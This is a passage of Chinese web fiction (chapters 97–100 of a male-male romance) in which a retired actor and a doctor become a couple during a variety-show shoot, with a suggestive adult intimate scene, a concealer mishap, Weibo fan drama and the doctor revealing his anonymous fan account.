“没事，”季杭避开人群，说：“小悠，你能不能带我去司云起房间？”
小悠惊了几秒，“好的好的，但是房卡在李达那，我让他带你去吧？”
“好，”季杭比了个“嘘”的手势，“能不能不告诉别人，明天我再和你们见面。”
小悠要尖叫出来了，生生忍着，“没事，你和司老师见就行，咱们见不见都是小事。”
很快，小悠把李达带了过来。
李达本着职业操守，一句话没多说，规矩地把季杭送到老板房间，然后又回到拍摄现场。就是在散场时他没忍住。
司云起瞥向他，“你一直笑什么？”
李达摇头，闭口不言。
和老板一起回房间的路上，李达听到老板说：“褪黑素好像没有了。”
李达恭敬道：“您今晚肯定能睡个好觉。”
司云起：“？”
到电梯口李达就不走了，他把房卡交给司云起，说：“老板，我真开心。”
司云起接过房卡，看着李达实在奇怪，问：“依依姐偷着给你涨工资了？”
“啊，”李达问，“还能这样吗。”
“不能，”司云起说完，不想扫李达的兴，说：“但是我可以，是该涨了，基本工资加三千，奖金不变。”
“老板，我跟您一辈子，”李达说，“请您速速回房间。”
司云起眉心一凝，忽地从小悠和李达的反常中意识到了什么。
他快步走回房间，房卡还没能贴上去，门先一步从里面打开了。
在梦里也没有出现过的场景，此刻真实出现在他的视线里。
季杭站在门口，已经换上了睡衣，碎发温柔垂落，贴在额头。
司云起试探着往前走了一步。
季杭还站在原地。
季杭没有躲。
下一秒，司云起张开双臂，将人紧紧搂进怀里。
季杭声音有点闷，呼吸喷洒在司云起颈间，慢慢说道：“司云起，我来是因为，我开始有一点点喜欢你了。”
是三点点，司云起默默在心里纠正。
“但我还没有想好，你别问我，好吗。”
司云起说：“好。”
过了会儿，司云起说：“想问个别的。”
“问什么？”这个怀抱好像有点久，季杭被禁锢着，想施展活动一下，所以慢慢抬手，回抱住司云起。
后背慢慢抚上一双手，司云起阖上眼睛，哑声问：“既然有一点点喜欢我，那我能吻你么。”
等了几秒，司云起听到季杭说：
“能。”
“抱着睡觉呢？”
“能。”
“一起去看我们栽下的山楂树呢？”
“能。”
“一直在我身边呢？”
“能。”
……
后来他们吻到床上，季杭深陷被褥，回应着司云起急切的吻。
某个时刻，他察觉到坚硬，轻轻推了下司云起。可他又担心这个举动被误解，于是半垂着眼皮，轻声说：“能。”
司云起沉默着吻上他的眼睛，细细地吻过这人的眉眼、鼻梁、嘴角、喉结……
好像是要将十八岁那年纯挚的喜欢补回来，无关情.欲，只有少年欣喜的感情碰撞。
他吻过季杭耳廓，贴在耳边，用气音说：“一点点就这么包容我了，季杭，十点点会不会很辛苦。”
97.遮瑕
大清早刚起床，司云起打电话给前台，让送份早餐到房间。
季杭说：“不用，我去餐厅吃。”
司云起看了他几秒，说“好”，然后取消早餐后给李达发消息，让他送来一盘遮瑕。
李达原地蹦好几圈，矜持地回复：【好的老板，保证遮瑕防水防汗力度强，多热也不脱妆！】
司云起：【嗯。】
然后李达陷入沉思。
怎么说呢……
首先是因为这综艺太累了除了第一期之后嘉宾们全都是素颜出镜，有前几期的经验在前，李达收拾行李时自动忽略了化妆品这一项。
其实是因为司云起轮廓本来就深硬，肤色算不上很白，但也用不着提亮，平日里很少化妆，所以化妆品这一项在李达的清单里被列为不重要。
最后是因为司云起出席活动才会化妆，妆造都靠化妆师，再加上他这一退圈，以后不出席活动，妆造远去千里之外，化妆品都分给工作室的小姑娘们了。
综上所述，他没带。
但刚加了薪，这点小事儿算不上什么。
艾宣已经签进了司云起工作室，经纪人是董依依。李达记得前不久依依姐刚给艾宣谈下来一个国货美妆品牌，正好他和艾宣的助理小菲熟，便打过电话去。
小菲找出遮瑕，问艾宣：“小宣，司老师那边需要遮瑕，李达找咱们借呢。”
“哦，”艾宣说，“给他们吧，我不用。”
“好。”
“等等——”
艾宣转头叫住助理，疑惑道：“李达有说吗？司老师本人用？”
“不应该吧，”小菲之前是董依依的助理，签下艾宣后，合适的助理不好找，她就来了艾宣这儿。她回忆着，“平日里很少见司老师化妆呢，我记得司老师宣布退圈的时候，李达把他的化妆品都给办公室同事分了。”
艾宣愣住，琢磨道：“要是磕了碰了应该是创可贴，用遮瑕……”
小菲顺着她的话说：“就跟遮吻痕似的。”
“啊！”艾宣急忙做个抿嘴的手势，“现在司老师是我大老板，我可不能过分揣测他。”
小菲点头。
“但是话说回来，”艾宣默默道，作为她磕的两个影子cp中一位正主，绝不能不守男德！
她拿过遮瑕，“我去送！”
说完风风火火出门，一人走出浩荡的气势，直奔司云起房间，然后轻轻敲门。
司云起在窗边打电话，季杭以为是李达，走去打开门。
眼前的季医生头发稍许凌乱，眸中有几分不明显的倦意，显得有些漫不经心。
一副很是私人的模样。
艾宣一句“老板我来给您送遮瑕”生生咽下去，连自己来做什么都忘了，内心鸣叫，何德何能啊，这么香的饭能让自己吃上。
季杭愣了一下，往旁边退了步，说：“你找司云起是吗？”
艾宣点头，又摇头。
季杭：“……艾宣？”
艾宣“诶”着应下，嘴角的笑意怎么也遮不住，索性也不装了，直接道：“见到你真开心啊季医生。”
“以后也许能经常见，”司云起挂断电话走过去，抬起胳膊搭在季杭肩膀，手指不着痕迹地挡住颈中的吻痕。
艾宣欣喜道：“真的可以吗？”
司云起转脸看着季杭，一本正经地跟着问：“能么，季医生？”
艾宣瞄了司云起一眼，心里嘀咕自己这老板可真是惜字如金，“可以吗”和“能么”就差一个字也懒得说吗。
因着挨得紧，季杭手悄悄伸到司云起后背，戳了他一下。
司云起不为所动，扬着语调“嗯”了一声，算是追问。
季杭朝艾宣笑得体面，说：“能的。”
艾宣又想，季医生好爱。
司云起满意了，对艾宣说：“你有事找董依依，不用和我说。”
艾宣这才想起来她过来的目的，立刻送上手里的遮瑕。
季杭疑惑地看着艾宣手里的东西，刚想问司云起要这个做什么，司云起搭在自己身上的手垂落，接过遮瑕。
艾宣这才注意到季杭的颈间。
睡衣领口有些歪，右侧有处颜色不深的吻痕，在喉结正下方，锁骨中间的位置上，还有处偏紫色的痕迹。
又是一副暧昧的模样。
艾宣偷偷瞄了一眼，说“我先走了”，又偷偷瞄一眼说“再见”，转过身，回头瞄了最后一眼，说“不用送”，快步离开了。
“拿这做什么？”季杭问。
睡醒后季杭还没照过镜子，对自己颈部的风景一无所知，还以为司云起哪里磕了碰了，跟在司云起身后追着问：“遮哪里呀？”
话音刚落，季杭就撞在了突然止步转身的司云起胸膛。
“你、”
司云起抱住他，下巴很轻地靠在他肩膀，有几分缠人的意思：“不想遮。”
季杭更坚信他是哪里磕了碰了，说：“不想遮就不遮，你给我看看。”
“不能不遮，”司云起把季杭推坐在床上，而后半蹲，自下而上仰头看着季杭。
几秒后，视线又落在他颈间。
司云起的目光暧昧又直白，不由得让季杭想起刚过去的夜晚——
那句“十点点会不会很辛苦”刚响在耳边，侧颈就一阵酥麻。
季杭偏了下头，意识到司云起正顺着他的耳后，细细密密地吻在最敏感的那根筋上。
恍若有虫蚁啃咬，全身每一处都叫嚣着欲.求，难以自抑的轻哼声响起。
他好像很想和司云起融为一体。
很想，很想。
这个认知让他瞬间就红了眼。
他在难耐的呼吸声中，喊：“司云起。”
司云起吮着他的侧颈，片刻后“嗯”了一声。
季杭说不出让他停下的话，可也说不出再进一步的话，只能在默许中任他继续。
刚饶过侧颈，司云起又盯住这人颈间挂着的素戒。
“季杭，素戒谁送的？”
“…很重要的人。”
头一次这样近距离盯着素戒，司云起把素戒勾直，让素戒落在原本的位置上，细细看了几秒后，确认十年前自己从没见过。
可素戒边缘甚至还带了斑点锈迹，这样也不肯摘，一定是很珍贵的礼物。
“旧了，”司云起说，“丢了吧。”
“不行，”季杭抽出一只手护在素戒上。
“好，”司云起低头重新吻回侧颈，顺着清晰的筋络舔.舐，在季杭的手难耐地移开、抓紧床单时，他偏了方向，用鼻尖将素戒蹭开。
在悬挂了十年素戒的位置上，在颈间季杭爱了他十年的证据处，落下一个很深的吻痕。<
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……
季杭抬手碰了碰自己锁骨，“昨晚你……留下印子了？”
司云起“嗯”了一声，拧开遮瑕管。
“多么，”季杭欲起身去洗手间照镜子。
司云起施了分力，摁住他的动作，说：“不多。”
季杭便老老实实坐着。
虽说没动，但季杭忍不住想，昨晚自己反应那样，不会是司云起把自己整个脖子都亲紫了吧……
不可能，起码医学上来讲不可能。
但莫名的，季杭有点想反驳司云起。
他轻咳，不大自然道：“不算遮瑕吧。”
没听明白，司云起问：“什么？”
“我说，”季杭看着别处，慢吞吞道，“这不算瑕……”
司云起动作停了，明知故问道：“那算什么？”
“……”季杭说，“反正就不算瑕。”
“知道了，”司云起将遮瑕液点在他皮肤上。
因为只是刷头和颈部的轻碰，季杭分不太清具体是哪里。
他老老实实仰头，觉得这样会方便司云起动作。
但很快，感知神经察觉到司云起有规律的、很轻的、连续不断的
撞击。
一下、一下，撞击着他的侧颈，却好像又不只是侧颈。
传递到中枢神经时，掀起了点别的什么。
季杭阖上眼，呼吸乱了。
哪怕只是遮吻痕这样的事，季杭也不想再拒绝司云起。他只能按捺着，手臂绷紧，青筋愈发鼓动。
当司云起将指尖抵在他喉口时，季杭克制着，喉间轻声溢出一句：“司云起。”
司云起指腹蹭了下那处吻痕，平静地把遮瑕液涂匀，而后目光下垂，视线落下某处。
季杭下意识想遮掩，但他被圈在司云起的方寸之间，无处可躲。
司云起静静地看了几秒，开口说：“我帮你。”
说完后并不越矩，等着季杭的回答。
某一刻季杭还是觉得太快了，进展这么快不正常。
他觉得自己太别扭了，分明下定决心要慢慢来的，可事实上他每次的决定都是突然起意，在事情发生后才想是不是不应该。
就像搬进司云起家，就像他们之间的第一个吻，就像他赶来这里对司云起说有一点点喜欢。
都是在他见到司云起时突然冒出来的念头。
于是就顺着心意做了，做了后又懊恼。
如同这一刻。
情.欲燃烧肢体，渴望充斥脑海，他终于清醒地意识到——
当他和司云起之间的鸿沟和围墙消失不见的那一刻，无论他怎么想慢慢来，他已然没办法再装下去了。
要一个爱了十年的人看到希望后再慢慢来，是件不可能的事情。
他觉得自己矛盾别扭，担心着在司云起面前做出和从前的他性格不相符的事情，却忽略掉了，爱是回亘连绵的心脏起伏，它能在圆满中出现碎痕，亦能在碎痕中重归圆满。
爱因不受控而生动。
他的所有理智与试图放慢的速度，在司云起面前通通无解。
……
顿了片刻，季杭喉结滚动，动了下腰，去拉司云起的手。
然后他拽着司云起的手落下，身体震颤。
说：
“司云起，帮帮我。”
98.败乃常事
词条缓缓爬上热搜。
#司云起迟到#
起因是艾宣站姐发了一条嘉宾们在录制综艺的视频，评论区整齐地吹赞女鹅美貌，很快就上了热门。
然后有人问，司云起退圈后也离开综艺了吗，怎么视频里看不到他人？
站在不同的门口官号回复，说司云起没有离开综艺。
没有离开，但是视频里别人整整齐齐，就少他一个，那就是迟到了。
本来退圈声明后司云起的热度就不减反涨，稍微有点风吹草动都能上热搜。但自从声明出来之后，司云起没在大众视野前出现过，微博动态还截止在最新的两条，都是在一天内发的。
中午12:58的自荐博，傍晚17:57的退圈博。
这两条的评论和转发当天就超了百万，再之后一直没有新的动态。就连站在不同的门口恢复拍摄，前些天也没有在官号发布消息，直到关键的内容都拍摄完，艾宣的站姐才过来。
网上议论纷纷，说司云起耍大牌，退圈后消极怠工。
小悠苦着脸后悔：“我不该拿官号评论的，现在网上都在说司老师耍大牌。”
乔炎盯着不远处的韦流竹，没听清她说什么。
小悠又道：“乔导，我觉得司老师可能……不来了，或者再晚点。”
“为什么，”乔炎问。
小悠摇头：“就是觉得。”
“？”
乔炎说：“我给他打个电话。”
“别了吧，”小悠心想，司老师和季医生在一块儿呢，肯定不想被打扰。
乔炎直接拨了过去，毫不意外被挂断了。
“他……”
“乔导，”韦流竹兴奋地跑了过来，双手背在后面，笑盈盈道：“你头低一点。”
乔炎顺从地低头，只见韦流竹从背后拿出一个花环套在他头上，很骄傲地说：“这是我自己编的哦！”
乔炎愣了半天，手想往上伸摸摸花环，又怕摸坏了。
落在小悠眼里，就是乔炎一副矫揉造作的模样，明知故问道：“原来你刚才是在给我编花环啊。”
“对呀，”韦流竹说，“要不给谁。”
啧啧，小悠看着乔导不值钱的样子，转身自己拿着手机发愁去了。
要是自己没拿官号回复就好了。
眼看着话题度越来越高，小悠想澄清也不知道该怎么澄清。
又过了半个多小时司云起才赶到，小悠迎上去，歉疚地说了这件事。
司云起并不在意，“没事，我确实迟到了。”
小悠问：“司老师，季医生呢？”
司云起道：“在酒店玩手机。”
小悠默默点了点头。
并非小悠想的那样，其实季杭是真的在玩手机。
第一次被司云起的掌心包裹，季杭甚至分不清他和司云起的掌心哪个更烫。
某刻他眸光涣散，额头抵着司云起的肩膀大口喘.息，耳边传来很轻的一句：
“季医生，好浓啊。”
刹那间，最烫的成了季杭的脸。
他低头看了一眼，颤着的眸光瞥见司云起黑色裤子上格格不入的色彩和痕迹，脸颊愈发滚烫。
偏偏司云起还不放过他，嘴唇划过他的侧脸落在眼睛上，嗓音放得很低，缠着季杭，“季医生，闭眼做什么。”
季杭回答不出来，司云起又看向他的侧颈，而后凑近这人耳朵，气音依旧撩人：“遮瑕不错，出这么多汗也没脱妆。”
季杭头一次觉得不好意思，也想堵住司云起的嘴，手不管不顾地伸下去，突然被滑腻的手指抓住。
司云起轻笑：“我得去拍摄。”
“可是你……”季杭能感觉到，“这样能去拍摄吗。”
“洗个澡就好了。”
司云起去洗冷水澡的时间里，季杭回想起刚发生的事情，尤其是司云起那条被他弄脏的裤子，他突然就有点想跑。
但这种时候跑了真的很像渣男。
所以在司云起冒着冷气出来，问他要不要去见见团队的人们时，季杭摇头，说：“我先把裤子洗了。”
“裤子？”
季杭不大好意思，“就你被我弄脏的裤子。”
司云起学着这人被自己涂遮瑕时的样子，回答道：“不算弄脏吧。”
季杭没反应过来，回了句：“怎么不算？”
司云起换了个字，把这人说过的话还了回去：“反正就不算脏。”
季杭回过味来了，知道司云起是在揶揄他，说：“不算脏就不洗，我玩手机可以吧。”
司云起“嗯”了声，“等我回来。”
等司云起刚关上门，季杭立马去把裤子洗了。
然后他拿起手机，看了看回程的票。买好后习惯性看了眼群聊消息，又切换软件到微博，看到了#司云起迟到#的热搜。
迟到俩字又让季杭把刚发生的事情回忆了一遍，他红着脸，想着自己是罪魁祸首，有点过意不去。
但迟到是铁铮铮的事实，他也解释不了什么。
突然他刷到几条评论：
【yysy，近期司云起干的事情中，迟到是最正常的了，大家的视线都被他退圈带着走了，谁还记得他发的自荐博？】
【只想说司云起别太麦麸了，小心两个影子粉跑光。】
【纯路人，素人朋友综艺的时候是两个影子CP粉鼎盛期，他发了自荐博后两个影子粉要把他骂死了，他现在也就唯粉和今我来司了吧。】
这些天满心想着和司云起在一起，忘记了这家伙还在【争夺借我瓶水】超话里干过这事儿，季杭有了主意。
他点进司云起主页，把自荐博看了又看，然后很满意地转移了视线。
十秒后。
盯着微博舆论发愁的小悠尖叫：“啊——”
众人目光看过去时，小悠把手机拿给他们看，“借我瓶水发微博了，还艾特了司老师！”
司云起转过头：“？”
“我看看我看看，”韦流竹第一个凑过去。
【@借我瓶水：#司云起迟到#，@司云起，你干嘛了，为什么迟到？】
紧接着，韦流竹刷新了下页面，看到热评：
【@司云起：不太好说。】
【@今我来司：复活吧我的CP！】
【@今天司云起超番借我瓶水没有：你们两个！啊啊啊啊啊啊啊细思极恐！粗思也恐！】
【@word妈呀：爸爸妈妈你们补药再调情辣！干嘛了爸爸，是干妈妈才迟到了对吗。】
【@两点睡（司云起对我说过早上好版）：姐妹们，他俩又是一个IP地址，什么含金量我不多说。】
【@月光鼻祖：我单方面宣布你俩锁死，我们影子哥独美。[拜拜]】
韦流竹读了两条，没再好意思继续往下读。
小悠开心了，因为司云起迟到的话题度骤降，取而代之的是#借我瓶水和司云起互动#。
但很快小悠又想到，网上这样说司老师和借我瓶水，那酒店里的季医生看到会不会很生气啊。
而且司老师还说季医生在玩手机……
小悠又操心了。
她去看了看拍摄进度，琢磨着司老师一时半会儿回不去酒店，那叫季医生过来也行。
免得季医生在酒店房间里看到这些评论生闷气。
她给季杭打去电话，问他想不想过来。
季杭确实
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也挺想他们的，挂断电话后按照小悠说的地方找了过去。
司云起正在拍摄单人短片，在一个临时找的房间里。
小悠带季杭过去后，季杭站在门口，说：“谢谢你，我等他拍完再去和大家见面。”
“好的季医生，”小悠点头。
房间门锁不上，只能虚掩着。
从门缝里，季杭看到乔炎邓承和潘同都在。
短片内容是对粉丝说的话，会在下一周以彩蛋的形式播出。
隔了扇门，听到司云起对粉丝说的话后，季杭一阵心酸。
录制结束，摄影打开门出来，看到季杭愣了下，下意识就要跟里面说。
季杭轻轻摇了下头，示意他不要告诉里面的人。
等摄影离开后，季杭听到邓承的声音。
“这段时间一直没见过你，我还想问你呢，不是决定要这档综艺结束后再发声明退圈吗，怎么这么突然。”
乔炎替司云起回答道：“也没早多少，不影响工作就行。”
邓承说：“云起，这些年你藏得挺深。要不是那回喝醉听你提了季医生的名字，我估计到现在都不知道你有个喜欢了这么多年的人。前几年你都是偷偷去看他，去年突然大动干戈要策划一档综艺把他邀请来，我很好奇，综艺里这么多人看着你们，真的好追人吗？”
乔炎继续替司云起回答：“无关好不好追人，这么跟你说吧，重逢是人制造出来的，要想让被重逢的人不躲，那就得找个有很多人的地方，所有事情都在正常运行。这样季医生才能融入进来，减少他的反感。”
“那你是想退圈了，还是为了季医生退圈呢？”邓承又问。
“是我想，不是我为了他退圈，”司云起说，“十年前没什么考虑的机会，算是半推半就走上这条路，签了挺多年的合同，前几年没钱毁约。后来想完全转幕后……但有了很多爱我的人，不想辜负她们的喜欢。”
“在去年之前，我觉得这一生可能就这样了。”
直到他意外从李达口中得知借我瓶水的存在，他突然觉得，自以为被季杭厌恶的十年，或许并不是真的。
所以他制造出一场让季杭也参与进来的重逢，就是想再试试，重来一次，以季杭喜欢的性格出现，能不能得到季杭的爱。
归根结底，不能把“为了谁谁退圈”这么大一顶帽子扣在季杭头上，这不公平。
他处于娱乐圈的这个位置，不能要爱又要光环。
如同这世界上很多事情没办法两全一样，他不是没纠结过，抛去名与利，天平两端是季杭和全部粉丝。
可他只有一个一生，在窥见所爱之人露出的马脚之后，他再不能浪费丁点时间。
他想要季杭的爱，想以普通人的身份走进季杭的生活里，想与十年前般和他走在大街小巷，平度烟火岁月。
退圈便完完全全、只是因为他自己，而非为了季杭。
默了默，潘同问：“那你和季医生怎么样了？”
不知情的三个人都以为司云起还处于爱而不得，一人一句劝慰。
邓承：“没事儿，你现在也算是自由了，尽力去追季医生，准能追着的。”
潘同：“对，你就以现在为起点，做好三年五载的准备吧，追人要个过程，我追我老婆也花了挺久。”
乔炎：“别着急，也别气馁，败乃常事，最好……”
门吱呀响了一声，慢悠悠被推开。
乔炎止住声音，和另外三个人一齐抬头看去。
伴随着门打开，季杭的声音也响起：
“其实，司云起没败，他胜了……”
乔炎：“……”
邓承：“……”
潘同：“……”
99.脱下马甲
在齐刷刷发愣的三人视线中，季杭走到司云起身旁。
他笑得友善礼貌，说：“好久不见。”
对面的三个人不自觉地站成一排，使劲看了半多分钟，又回想了一遍。
好久不见？
好久？
季杭离开综艺后，转头就和司云起一起参加了我的素人朋友，再然后司云起官宣了退圈。
到今天，没俩月。
怎么出来个好久不见？
理虽如此，三个人还是热切地表现出“好久不见”该有的场面。
乔炎笑着说：“季医生，真的是挺久了。你离开综艺那会儿咱们还穿短袖呢，现在……”
房间里五个人，四个T恤，还有一个穿着司云起白衬衫的季杭。
乔炎尬笑：“现在你都穿上衬衫了。”
邓承站在中间捅了他一下，继续说：“季医生，这么久没见，你瘦了好多啊。”
“是啊，”潘同顺着思路说：“刚才你站在门口我都没认出来。”
邓承又捅了潘同一下。
季杭被他们逗笑，转头看向司云起时，很轻地蹭了下他的肩，装着嗔怪的样子说：“我来你都没讲啊。”
“没讲，什么都没讲，”邓承说，“季医生你给我们讲讲呗，什么叫‘司云起没败，他胜了’啊？”
司云起眼神认真，一眨不眨地看着季杭，嗓音很轻，“我也想知道。”
“就是，”季杭坦然大方，告诉对面三个人，“我们在一起了。”
趁着对面三个人起哄的声音响起，季杭贴近司云起耳边，飞快地撂下一句：“说给他们听的，你别信。”
司云起：“……”
迟疑几秒，司云起：“我没明白，什么意思？”
“意思是——”本就是气音，被刻意降低拉长后，平添撩拨与暧昧。
停顿了两秒，季杭下唇似有若无地贴着司云起的耳廓，轻声说：“我们没在一起啊。”
说了这么句话，可偏偏他不安分，嘴唇含了下司云起的耳骨，又落下一个很轻的吻后才撤身离开。
司云起少有这样的时刻。
季杭已经走出门外了，他还滞在原地，直到乔炎过去拍他，问：“干嘛呢，季医生都出去了。”
“他出去做什么？”司云起回神。
邓承笑他：“你是不是找不着北了，季医生说他去见流竹和小艾了，你没听到？”
“哦，听到了，”司云起追了出去。
人没走多远，司云起出去的时候，正巧看见那人停在不远处，回头看着这边，像是在等。
看到自己出现后，那人才慢悠悠继续往前走。
司云起快步跟上，问季杭：“对他们说的是在一起了，又告诉我没在一起，是让我继续追的意思么？”
季杭摇头，“不是啊，”他看着司云起，表情颇为认真，“司云起，你不用追的。”
听意思是能在一起，但又不让自己追。
司云起想，季杭又在自相矛盾了。
就如同这人先前口口声声说不喜欢自己不想有牵扯有关系，却一次次地给他反黑一样自相矛盾。
说话间已经到了早上拍摄的场地，工作人员正在收拾设备，韦流竹低头看着手机，不见艾宣的影子。
“艾宣没有在吗，”季杭问。
韦流竹没抬头，回答：“她助理叫她走了，我也不知道她去——”
韦流竹猛地抬头，不可置信地小声惊呼：“季医生！”
“季医生你回归综艺了吗！”韦流竹问。
季杭说：“想你们了，回来看看，中午我就回去了。”
韦流竹目光在季杭和司云起之间流转，总觉得隐约有点什么，但又不好意思问。
“季医生你是刚到吗，就留一上午呀。”
这话一出，季杭自动忽略前半句，回答道：“晚上我还要上班。”
“哦，”韦流竹看着季杭身后的司云起，带了几分针对的意味。
不为别的。
就冲这么好的季医生，还有微博上那么好的借我瓶水，哪一个拎出去不是王炸，司云起有幸能和他们组CP就算了，竟然还在两个人之间游离摇摆不定！
刚才他正在手机上看借我瓶水新发的微博评论区呢，本来他就是更倾向今我来司一点，看到借我瓶水和司云起互动，短暂微小地喜悦过后，他不由得心疼季医生和两个影子CP粉。
我的素人朋友全程直播他都看了，期间真的有嗑生嗑死，觉得季医生和司云起就是一对。
没想到综艺结束后，司云起竟然在【争夺借我瓶水】超话里发自荐博！
置季医生于何地！
置两个影子于何地！
发了自荐博后退圈，今天早上和借我瓶水在微博上互动，隔了会儿没看到，又寸步不离地跟在季医生身边。
好一个绝世大渣男！
韦流竹想点醒季杭，“季医生，你平时肯定不爱上网吧？”
“网吧？”季杭说，“确实，怎么了？”
“不怎么，”韦流竹意有所指，“你平时最好还是多看看微博，看看热搜什么的，没准能看到你感兴趣的。”
说完很热心地要教季杭，“季医生，我教你怎么看吧。”
季杭连忙说不用。
韦流竹便问司云起：“司云起，你今早上为什么迟到了呀，我见你在微博上和借我瓶水互动呢。”
司云起回答他的话，目光却始终落在季杭身后，“我只告诉借我瓶水。”
韦流竹皱眉，小声道：“季医生你看他。”
在司云起的注视下，季医生的耳朵有点红了。
“季医生，你要理智一点呀，”当着司云起的面，韦流竹不敢大骂，只能试图让季杭清醒，“有可能，我是说有可能，当然我说有可能就证明它不是毫无可能，季医生，没准你身边的某个人就是大渣男，现实生活中有一个，还在网上聊着一个。”
这是在含沙射影司云起呢，季杭听明白了。
他拍了拍韦流竹的肩膀，说：“谢谢，我懂了。”
“这么快就懂了吗，不愧是……”韦流竹欣慰的话还没说完，就见季杭转身，朝司云起勾了下手指，随即两个人一起走了。
韦流竹：“……？”
懂什么了？
和司云起穿行过工作人员，一路上纷纷有人和他们打招呼。
周围没人后，季杭这才若有所思道：“司云起，看来你的风评不怎么好。”
司云起没来由地轻声念了四个字：
“借我瓶水。”
季杭条件反射“啊”了一声。
“不是在微博问我
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为什么迟到么，网上不太好说，只能亲口说给你听，”司云起递去的目光恍若影像，直白到让季杭又清晰地回想了一遍。
给足季杭回想的时间后，司云起目光又落在这人愈发潮红的耳廓，偏头凑了过去。
“因为——我喜欢的人抓着我的手，让我帮帮他。事后他还穿了我的衬衫……”
司云起报复似地轻咬了下季杭的耳垂，撤开的前一秒问：“但他不让我追人，那我怎么才能和他在一起呢。”
季杭呼吸重了几分，声音强装镇静，“建议你原地不动。”
司云起很好商量：“听你的。”
艾宣一个人往这边走来，看到季杭后，招了招手。
“季医生，”艾宣眼神没控制住，往季杭颈间瞥了两眼，衬衫衣领遮得严实，什么也没看见。
小菲追了过来，对司云起说：“司老师，刚才艾宣的站姐在那边直播，艾宣出镜和粉丝聊天了。”
“然后呢，”司云起说。
“直播结束的时候，”小菲拿着手机，“你和季医生…出现在画面里了……”
艾宣：“啊？？？”
小菲把被截出来的视频给他们看，“这是录屏组录的，刚发在超话里，已经联系删除了，但、也有截图流出去了。”
艾宣很愧疚，“早上司老师迟到的热搜就和我有关系，现在也是因为我直播才让他们入镜的。”
“和你没关系，”司云起看着网上的照片。
好在角度合适，只有司云起的脸清楚，季杭只照见侧脸。
在这个风吹草动的上午，今我来司在万人嫌骂中刚锁死，影子哥刚独美。
热搜又挂上去张照片。
司云起和一位白衬衫男子幽会，耳鬓厮磨，卿卿我我，不小心被艾宣的直播拍了去。
然后两个影子粉丝意识到，这个白衬衫男不是别人，正是他们的正主影子哥。
这个身影，他们从【站在不同的门口】认到【我的素人朋友】，光是截屏就有上万张，绝不可能认错。
本欲退出这场“争攻之战”的两个影子粉重新下场，和今我来司粉对骂。
准确来说，不只是对骂。
那是一种很复杂的关系。
两个影子骂今我来司，骂司云起，也骂影子哥——
【影子哥你醒醒啊！你补药被司云起欺骗了啊！他陪着你，还聊着网上那个！】
今我来司骂两个影子，骂司云起，也骂借我瓶水——
【水瓶哥你糊涂啊！你上网难道看不到吗，司云起他和别人暧昧不清啊！】
骂声取交集，都在骂司云起。
季杭看了司云起一眼，默默低头拿出手机。
十几秒后，他锁屏，对司云起说：“风评因为我搞成这样，辛苦你了。”
小菲叹了口气，问：“老板，我联系依依姐吧？”
“应该不用，”季杭说，“虽然我不太懂公关的事情，但应该不用了。”
小菲看着他们离开，担忧地问艾宣：“老板退圈了，但也不能这样冷处理呀，万一影响到综艺。”
艾宣点头，“是啊。”
没两分钟，小菲点进热搜，心想热度肯定更高了。
却看到一个熟悉又不熟悉的名字冲上热搜——
借我瓶水（我就是影子哥）
100.起司来信
和季杭回去时，司云起发现每个人脸上的表情都很精彩。
看着他们的目光统一投向季杭，司云起也看了过去。
季杭平静道：“你们怎么都看我？”
“……”
一阵沉默后，人群中不知道谁说了句：“不看你……看谁啊。”
应该是看到了热搜上的图，司云起沉吟着开口解释：“你们别盯着季医生看，是我——”
季杭无辜的声音蓦然间响在司云起耳边：
“我就是顺手改了下微博名。”
乔炎适时将亮着屏的手机递给司云起。
司云起垂眼一扫，看到屏幕上是借我瓶水的微博界面。
最新最热的微博是早上发的那条，但，昵称换成了：
借我瓶水（我就是影子哥）
司云起诧然抬眸，对上的是季杭稀疏平常的目光。
一瞬间，他又窥见到什么。
季杭说的那句“司云起，你不用追啊”，没有丝毫暗指，就只是很浅显的，浮在表层的含义。
司云起确实不用追，因为季杭会主动走到他身边去。
那一刻司云起真的很想问问季杭，到底爱了多久，到底从什么时候开始爱的。
十点点真的是尽头吗。
还是说，那只是季杭将爱无限扩大后的基点呢。
没有人比季杭更会释放爱意了，司云起想，这是一个很奇妙的逻辑。
表达爱用的是名词，但释放爱却是动词。
明明季杭没有提过一个“爱”字，司云起依旧能从许许多多的一点点中，感受到具象化的爱。
“司云起，你在想什么，”季杭忽地出声，抬手在他眼前晃了一下，“能和他们说吗？”
没问季杭要说什么，司云起凝视着他，沉声说：“能。”
没有犹豫，斩钉截铁，如同前一个夜晚，季杭所有纵容的能一样。
然后季杭轻润含笑的声音响起。
“你们看到的是真的，其实我就是借我瓶水本人。司云起他一直都知道，不存在他刻意迎合两个人的事情。不管是网上还是生活中，都是我，都只有我。”
停顿几秒，他继续说：“司云起做的一切事情都是正常的，因为，我们在一起了。”
在场的嘉宾、助理，工作人员，哗的一声炸开锅。
“啊啊啊啊我哭了！在一起好啊，在一起真好，何德何能我磕的CP真的成真了！”
“我就说司老师这长相，这身材，他干什么都会成功的。”
“我立马开个号去给我担反黑还来得及吗，急急急。”
“得了吧你，那是反黑的事儿吗，你没看两个影子超话啊，季医生和司老师十年呐！”
“季医生，两个影子超话里的文，能参考的有多少啊？”
季杭莫名想起那些带颜色的、需要不停拉长图的、需要倒过手机看的、得保存到相册镜像翻转的……文，摇头说：“建议不要参考。”
韦流竹把他拉走，声泪俱下，“季医生，你竟然就是借我瓶水！”
季杭依稀记得韦流竹好像说过借我瓶水是他偶像，想着可能是自己和他幻想中有差别，抱歉道：“不好意思。”
韦流竹抹了把泪，“我干的都是什么事啊，我还以为你不上网，想看你看清司老师的真面目，结果你微博玩的比我还厉害。”
艾宣“啊”了一声，“你还干这么尴尬的事情啊。”
韦流竹扭头，“我不知道啊关键是，我以为司老师是渣男呢，你没以为吗！”
“没，”艾宣诚实道，“其实我早就有点察觉。”
“嗯？”韦流竹问，“从哪察觉的？”
“司老师不像是滥情的人，他不会这边哄着季医生，网上又去找借我瓶水自荐的。”艾宣分析道。
韦流竹：“……”
看向另一边的邓承潘同和乔炎，好镇定的模样，好像就自己没察觉到。
韦流竹愤愤想了几秒，说：“季医生，我当时还琢磨你说你懂了是什么意思，原来是懂司老师在我们眼中风评不好，所以准备给他澄清呢。”
季杭默默点头。
艾宣说：“我来看看网友都在说什么。”
划动着翻了翻，艾宣真心实意道：“这新帖和评论也太多了。”
“你的不卡吗，给我看看，”韦流竹说，“我的要卡死了。”
艾宣拿给他。
【很好，借我瓶水皮下就是影子哥，我就知道我哥不是网上骂的那样，他是绝世好男人，本唯粉心满意足离场。】
